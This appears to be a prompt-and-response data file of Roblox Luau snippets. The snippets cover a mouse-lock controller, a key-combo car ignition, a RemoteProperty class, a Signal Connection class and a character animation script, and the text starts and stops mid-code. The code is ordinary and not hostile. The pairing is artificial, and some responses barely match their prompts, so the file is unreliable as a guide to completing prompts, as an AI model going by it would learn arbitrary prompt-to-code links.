		p20.enabled = p21;
		if not p20.enabled then
			u3.restoreMouseIcon();
			p20:UnbindContextActions();
			if p20.isMouseLocked then
				p20.mouseLockToggledEvent:Fire();
			end;
			p20.isMouseLocked = false;
			return;
		end;
	else
		return;
	end;
	p20:BindContextActions();
end;
return v1;


Prompt: --== Primary logic ==--

Response:
modifierPressed 	= false
primaryPressed 	= false
debouncer 			= false

inputService.InputChanged:connect(function(winput,processed)
	if processed == false then -- checks to see if you're focused on a textbox or not
		local pressedkeys = inputService:GetKeysPressed()

		for _, input in pairs (pressedkeys) do -- iterate all keys currently pressed
			if input.KeyCode == modifierKey then
				modifierPressed = true
			end
			if input.KeyCode == primaryKey then
				primaryPressed = true
			end
			if primaryPressed and modifierPressed then break end -- escapes loop
		end

		if primaryPressed == true and modifierPressed == true and debouncer == false then
			debouncer 			= true
			if script.Parent.IsOn.Value == false then StartCar() else StopCar() end
			primaryPressed 	= false
			modifierPressed	= false
			wait(2)
			debouncer = false
		end
	end
end)

script.Parent.IsOn.Changed:Connect(function()
	script.Parent.IgnitionStatus.Text = script.Parent.IsOn.Value and "Engine On" or "Engine Off"
end)


Prompt:
--[[

	remoteProperty = RemoteProperty.new(value: any [, overrideClass: string])

	remoteProperty:Get(): any
	remoteProperty:Set(value: any): void
	remoteProperty:Replicate(): void   [Only for table values]
	remoteProperty:Destroy(): void

	remoteProperty.Changed(newValue: any): Connection

--]]

Response:
local Signal = require(script.Parent.Parent.Signal)

local IS_SERVER = game:GetService("RunService"):IsServer()

local typeClassMap = {
	boolean = "BoolValue";
	string = "StringValue";
	table = "RemoteEvent";
	CFrame = "CFrameValue";
	Color3 = "Color3Value";
	BrickColor = "BrickColorValue";
	number = "NumberValue";
	Instance = "ObjectValue";
	Ray = "RayValue";
	Vector3 = "Vector3Value";
	["nil"] = "ObjectValue";
}

local RemoteProperty = {}
RemoteProperty.__index = RemoteProperty

function RemoteProperty.Is(object)
	return (type(object) == "table" and getmetatable(object) == RemoteProperty)
end

function RemoteProperty.new(value, overrideClass)

	assert(IS_SERVER, "RemoteProperty can only be created on the server")

	if (overrideClass ~= nil) then
		assert(type(overrideClass) == "string", "OverrideClass must be a string; got " .. type(overrideClass))
		assert(overrideClass:match("Value$"), "OverrideClass must be of super type ValueBase (e.g. IntValue); got " .. overrideClass)
	end

	local t = typeof(value)
	local class = overrideClass or typeClassMap[t]
	assert(class, "RemoteProperty does not support type \"" .. t .. "\"")

	local self = setmetatable({
		_value = value;
		_type = t;
		_isTable = (t == "table");
		_object = Instance.new(class);
	}, RemoteProperty)

	if (self._isTable) then
		local req = Instance.new("RemoteFunction")
		req.Name = "TableRequest"
		req.Parent = self._object
		function req.OnServerInvoke(_player)
			return self._value
		end
		self.Changed = Signal.new()
	else
		self.Changed = self._object.Changed
	end

	self:Set(value)

	return self

end

function RemoteProperty:Replicate()
	if (self._isTable) then
		self:Set(self._value)
	end
end

function RemoteProperty:Set(value)
	if (self._isTable) then
		self._object:FireAllClients(value)
		self.Changed:Fire(value)
	else
		self._object.Value = value
	end
	self._value = value
end

function RemoteProperty:Get()
	return self._value
end

function RemoteProperty:Destroy()
	self._object:Destroy()
end

return RemoteProperty


Prompt: -- Connection class

Response:
local Connection = {}
Connection.__index = Connection

export type SignalConnection = typeof(setmetatable(
	{} :: {
		_connected: boolean,
		_signal: ClassType,
		_fn: Callback,
		_next: SignalConnection?,
	},
	Connection
))

function Connection.new(signal: ClassType, fn: Callback): SignalConnection
	local self = {
		_connected = true,
		_signal = signal,
		_fn = fn,
		_next = nil,
	}

	setmetatable(self, Connection)

	return self
end

function Connection.Disconnect(self: SignalConnection)
	assert(self._connected, "Can't disconnect a connection twice.")
	self._connected = false

	-- Unhook the node, but DON'T clear it. That way any fire calls that are
	-- currently sitting on this node will be able to iterate forwards off of
	-- it, but any subsequent fire calls will not hit it, and it will be GCed
	-- when no more fire calls are sitting on it.
	if self._signal._handlerListHead and (self._signal._handlerListHead :: SignalConnection) == self then
		self._signal._handlerListHead = self._next
	else
		local prev = self._signal._handlerListHead
		while prev and prev._next ~= self do
			prev = prev._next
		end
		if prev then
			prev._next = self._next
		end
	end
end


Prompt:
-- Here be dragons
-- luacheck: ignore 212

Response:
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")
local Player = Players.LocalPlayer

local WINDOW_MAX_HEIGHT = 300
local MOUSE_TOUCH_ENUM = { Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseButton2, Enum.UserInputType.Touch }


Response:
function onRunning(speed)
	if speed>0.5 then
		playAnimation("walk", 0.1, Humanoid)
		pose = "Running"
	else
		playAnimation("idle", 0.1, Humanoid)
		pose = "Standing"
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / 12.0)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed>0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function getTool()
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid.className == "Tool" then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

function animateTool()

	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		playAnimation("sit", 0.5, Humanoid)
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then